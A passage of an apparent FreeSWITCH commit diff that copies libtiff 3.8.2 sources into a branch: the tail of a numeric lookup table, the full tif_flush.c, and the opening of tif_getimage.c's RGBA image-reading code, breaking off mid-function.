+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,10,18},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,17},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2048},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,51},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,35},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,12,320},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,27},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,59},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,33},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{11,11,1920},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,12,256},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,43},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,1216},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,55},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,63},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2304},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,47},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,39},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,53},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,19},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,11,24},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,11,22},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2560},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,16},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,10,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,10,64},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2}
+};

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_flush.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_flush.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_flush.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_flush.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_flush.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,67 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_flush.c,v 1.3 2000/09/15 20:52:42 warmerda Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ */
+#include "tiffiop.h"
+
+int
+TIFFFlush(TIFF* tif)
+{
+
+	if (tif->tif_mode != O_RDONLY) {
+		if (!TIFFFlushData(tif))
+			return (0);
+		if ((tif->tif_flags & TIFF_DIRTYDIRECT) &&
+		    !TIFFWriteDirectory(tif))
+			return (0);
+	}
+	return (1);
+}
+
+/*
+ * Flush buffered data to the file.
+ *
+ * Frank Warmerdam'2000: I modified this to return 1 if TIFF_BEENWRITING
+ * is not set, so that TIFFFlush() will proceed to write out the directory.
+ * The documentation says returning 1 is an error indicator, but not having
+ * been writing isn't exactly a an error.  Hopefully this doesn't cause
+ * problems for other people. 
+ */
+int
+TIFFFlushData(TIFF* tif)
+{
+	if ((tif->tif_flags & TIFF_BEENWRITING) == 0)
+		return (0);
+	if (tif->tif_flags & TIFF_POSTENCODE) {
+		tif->tif_flags &= ~TIFF_POSTENCODE;
+		if (!(*tif->tif_postencode)(tif))
+			return (0);
+	}
+	return (TIFFFlushData1(tif));
+}
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_getimage.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_getimage.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_getimage.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_getimage.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_getimage.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2598 @@
+/* $Id: tif_getimage.c,v 1.49 2005/12/24 15:36:16 dron Exp $ */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Read and return a packed RGBA image.
+ */
+#include "tiffiop.h"
+#include <stdio.h>
+
+static	int gtTileContig(TIFFRGBAImage*, uint32*, uint32, uint32);
+static	int gtTileSeparate(TIFFRGBAImage*, uint32*, uint32, uint32);
+static	int gtStripContig(TIFFRGBAImage*, uint32*, uint32, uint32);
+static	int gtStripSeparate(TIFFRGBAImage*, uint32*, uint32, uint32);
+static	int pickTileContigCase(TIFFRGBAImage*);
+static	int pickTileSeparateCase(TIFFRGBAImage*);
+
+static	const char photoTag[] = "PhotometricInterpretation";
+
+/* 
+ * Helper constants used in Orientation tag handling
+ */
+#define FLIP_VERTICALLY 0x01
+#define FLIP_HORIZONTALLY 0x02
+
+/*
+ * Color conversion constants. We will define display types here.
+ */
+
+TIFFDisplay display_sRGB = {
+	{			/* XYZ -> luminance matrix */
+		{  3.2410F, -1.5374F, -0.4986F },
+		{  -0.9692F, 1.8760F, 0.0416F },
+		{  0.0556F, -0.2040F, 1.0570F }
+	},	
+	100.0F, 100.0F, 100.0F,	/* Light o/p for reference white */
+	255, 255, 255,		/* Pixel values for ref. white */
+	1.0F, 1.0F, 1.0F,	/* Residual light o/p for black pixel */
+	2.4F, 2.4F, 2.4F,	/* Gamma values for the three guns */
+};
+
+/*
+ * Check the image to see if TIFFReadRGBAImage can deal with it.
+ * 1/0 is returned according to whether or not the image can
+ * be handled.  If 0 is returned, emsg contains the reason
+ * why it is being rejected.
+ */
+int
+TIFFRGBAImageOK(TIFF* tif, char emsg[1024])
+{
+    TIFFDirectory* td = &tif->tif_dir;
+    uint16 photometric;
+    int colorchannels;
+
+    if (!tif->tif_decodestatus) {
+	sprintf(emsg, "Sorry, requested compression method is not configured");
+	return (0);
+    }
+    switch (td->td_bitspersample) {
+    case 1: case 2: case 4:
+    case 8: case 16:
+	break;
+    default:
+	sprintf(emsg, "Sorry, can not handle images with %d-bit samples",
+	    td->td_bitspersample);
+	return (0);
+    }
+    colorchannels = td->td_samplesperpixel - td->td_extrasamples;
+    if (!TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric)) {
+	switch (colorchannels) {
+	case 1:
+	    photometric = PHOTOMETRIC_MINISBLACK;
+	    break;
+	case 3:
+	    photometric = PHOTOMETRIC_RGB;
+	    break;
+	default:
+	    sprintf(emsg, "Missing needed %s tag", photoTag);
+	    return (0);
+	}
+    }
+    switch (photometric) {
+    case PHOTOMETRIC_MINISWHITE:
+    case PHOTOMETRIC_MINISBLACK:
+    case PHOTOMETRIC_PALETTE:
+	if (td->td_planarconfig == PLANARCONFIG_CONTIG 
+            && td->td_samplesperpixel != 1
+            && td->td_bitspersample < 8 ) {
+	    sprintf(emsg,
+                    "Sorry, can not handle contiguous data with %s=%d, "
+                    "and %s=%d and Bits/Sample=%d",
+                    photoTag, photometric,
+                    "Samples/pixel", td->td_samplesperpixel,
+                    td->td_bitspersample);
+	    return (0);
+	}
+        /*
+        ** We should likely validate that any extra samples are either
+        ** to be ignored, or are alpha, and if alpha we should try to use
+        ** them.  But for now we won't bother with this. 
+        */
+	break;
+    case PHOTOMETRIC_YCBCR:
+	if (td->td_planarconfig != PLANARCONFIG_CONTIG) {
+	    sprintf(emsg, "Sorry, can not handle YCbCr images with %s=%d",
+		"Planarconfiguration", td->td_planarconfig);
+	    return (0);
+	}
+	break;
+    case PHOTOMETRIC_RGB: 
+	if (colorchannels < 3) {
+	    sprintf(emsg, "Sorry, can not handle RGB image with %s=%d",
+		"Color channels", colorchannels);
+	    return (0);
+	}
+	break;
+    case PHOTOMETRIC_SEPARATED:
+	{
+		uint16 inkset;
+		TIFFGetFieldDefaulted(tif, TIFFTAG_INKSET, &inkset);
+		if (inkset != INKSET_CMYK) {
+		    sprintf(emsg,
+			    "Sorry, can not handle separated image with %s=%d",
+			    "InkSet", inkset);
+		    return 0;
+		}
+		if (td->td_samplesperpixel < 4) {
+		    sprintf(emsg,
+			    "Sorry, can not handle separated image with %s=%d",
+			    "Samples/pixel", td->td_samplesperpixel);
+		    return 0;
+		}
+		break;
+	}
+    case PHOTOMETRIC_LOGL:
+	if (td->td_compression != COMPRESSION_SGILOG) {
+	    sprintf(emsg, "Sorry, LogL data must have %s=%d",
+		"Compression", COMPRESSION_SGILOG);
+	    return (0);
+	}
+	break;
+    case PHOTOMETRIC_LOGLUV:
+	if (td->td_compression != COMPRESSION_SGILOG &&
+		td->td_compression != COMPRESSION_SGILOG24) {
+	    sprintf(emsg, "Sorry, LogLuv data must have %s=%d or %d",
+		"Compression", COMPRESSION_SGILOG, COMPRESSION_SGILOG24);
+	    return (0);
+	}
+	if (td->td_planarconfig != PLANARCONFIG_CONTIG) {
+	    sprintf(emsg, "Sorry, can not handle LogLuv images with %s=%d",
+		"Planarconfiguration", td->td_planarconfig);
+	    return (0);
+	}
+	break;
+    case PHOTOMETRIC_CIELAB:
+	break;
+    default:
+	sprintf(emsg, "Sorry, can not handle image with %s=%d",
+	    photoTag, photometric);
+	return (0);
+    }
+    return (1);
+}
+
+void
+TIFFRGBAImageEnd(TIFFRGBAImage* img)
+{
+	if (img->Map)
+		_TIFFfree(img->Map), img->Map = NULL;
+	if (img->BWmap)
+		_TIFFfree(img->BWmap), img->BWmap = NULL;
+	if (img->PALmap)
+		_TIFFfree(img->PALmap), img->PALmap = NULL;
+	if (img->ycbcr)
+		_TIFFfree(img->ycbcr), img->ycbcr = NULL;
+	if (img->cielab)
+		_TIFFfree(img->cielab), img->cielab = NULL;
+
+	if( img->redcmap ) {
+		_TIFFfree( img->redcmap );
+		_TIFFfree( img->greencmap );
+		_TIFFfree( img->bluecmap );
+	}
+}
+
+static int
+isCCITTCompression(TIFF* tif)
+{
+    uint16 compress;
+    TIFFGetField(tif, TIFFTAG_COMPRESSION, &compress);
+    return (compress == COMPRESSION_CCITTFAX3 ||
+	    compress == COMPRESSION_CCITTFAX4 ||
+	    compress == COMPRESSION_CCITTRLE ||
+	    compress == COMPRESSION_CCITTRLEW);
+}
+
+int
+TIFFRGBAImageBegin(TIFFRGBAImage* img, TIFF* tif, int stop, char emsg[1024])
+{
+    uint16* sampleinfo;
+    uint16 extrasamples;
+    uint16 planarconfig;
+    uint16 compress;
+    int colorchannels;
+    uint16 *red_orig, *green_orig, *blue_orig;
+    int n_color;
+
+    /* Initialize to normal values */
+    img->row_offset = 0;
+    img->col_offset = 0;
+    img->redcmap = NULL;
+    img->greencmap = NULL;
+    img->bluecmap = NULL;
+    img->req_orientation = ORIENTATION_BOTLEFT;	    /* It is the default */
+    
+    img->tif = tif;
+    img->stoponerr = stop;
+    TIFFGetFieldDefaulted(tif, TIFFTAG_BITSPERSAMPLE, &img->bitspersample);
+    switch (img->bitspersample) {
+    case 1: case 2: case 4:
+    case 8: case 16:
+	break;
+    default:
+	sprintf(emsg, "Sorry, can not handle images with %d-bit samples",
+	    img->bitspersample);
+	return (0);
+    }
+    img->alpha = 0;
+    TIFFGetFieldDefaulted(tif, TIFFTAG_SAMPLESPERPIXEL, &img->samplesperpixel);
+    TIFFGetFieldDefaulted(tif, TIFFTAG_EXTRASAMPLES,
+	&extrasamples, &sampleinfo);
+    if (extrasamples >= 1)
+    {
+	switch (sampleinfo[0]) {
+	case EXTRASAMPLE_UNSPECIFIED:	/* Workaround for some images without */
+		if (img->samplesperpixel > 3)	/* correct info about alpha channel */
+			img->alpha = EXTRASAMPLE_ASSOCALPHA;
+		break;
+	case EXTRASAMPLE_ASSOCALPHA:	/* data is pre-multiplied */
+	case EXTRASAMPLE_UNASSALPHA:	/* data is not pre-multiplied */
+		img->alpha = sampleinfo[0];
+		break;
+	}
+    }
+
+#ifdef DEFAULT_EXTRASAMPLE_AS_ALPHA
+    if( !TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &img->photometric))
+        img->photometric = PHOTOMETRIC_MINISWHITE;
+
+    if( extrasamples == 0 
+        && img->samplesperpixel == 4 
+        && img->photometric == PHOTOMETRIC_RGB )
+    {
+        img->alpha = EXTRASAMPLE_ASSOCALPHA;
+        extrasamples = 1;
+    }
+#endif
+
+    colorchannels = img->samplesperpixel - extrasamples;
+    TIFFGetFieldDefaulted(tif, TIFFTAG_COMPRESSION, &compress);
+    TIFFGetFieldDefaulted(tif, TIFFTAG_PLANARCONFIG, &planarconfig);
+    if (!TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &img->photometric)) {
+	switch (colorchannels) {
+	case 1:
+	    if (isCCITTCompression(tif))
+		img->photometric = PHOTOMETRIC_MINISWHITE;
+	    else
+		img->photometric = PHOTOMETRIC_MINISBLACK;
+	    break;
+	case 3:
+	    img->photometric = PHOTOMETRIC_RGB;
+	    break;
+	default:
+	    sprintf(emsg, "Missing needed %s tag", photoTag);
+	    return (0);
+	}
+    }
+    switch (img->photometric) {
+    case PHOTOMETRIC_PALETTE:
+	if (!TIFFGetField(tif, TIFFTAG_COLORMAP,
+	    &red_orig, &green_orig, &blue_orig)) {
+	    sprintf(emsg, "Missing required \"Colormap\" tag");
+	    return (0);
+	}
+
+        /* copy the colormaps so we can modify them */
+        n_color = (1L << img->bitspersample);
+        img->redcmap = (uint16 *) _TIFFmalloc(sizeof(uint16)*n_color);
+        img->greencmap = (uint16 *) _TIFFmalloc(sizeof(uint16)*n_color);
+        img->bluecmap = (uint16 *) _TIFFmalloc(sizeof(uint16)*n_color);
+        if( !img->redcmap || !img->greencmap || !img->bluecmap ) {
+	    sprintf(emsg, "Out of memory for colormap copy");
+	    return (0);
+        }
+
+        _TIFFmemcpy( img->redcmap, red_orig, n_color * 2 );
+        _TIFFmemcpy( img->greencmap, green_orig, n_color * 2 );
+        _TIFFmemcpy( img->bluecmap, blue_orig, n_color * 2 );
+        
+	/* fall thru... */
+    case PHOTOMETRIC_MINISWHITE:
+    case PHOTOMETRIC_MINISBLACK:
+	if (planarconfig == PLANARCONFIG_CONTIG 
+            && img->samplesperpixel != 1
+            && img->bitspersample < 8 ) {
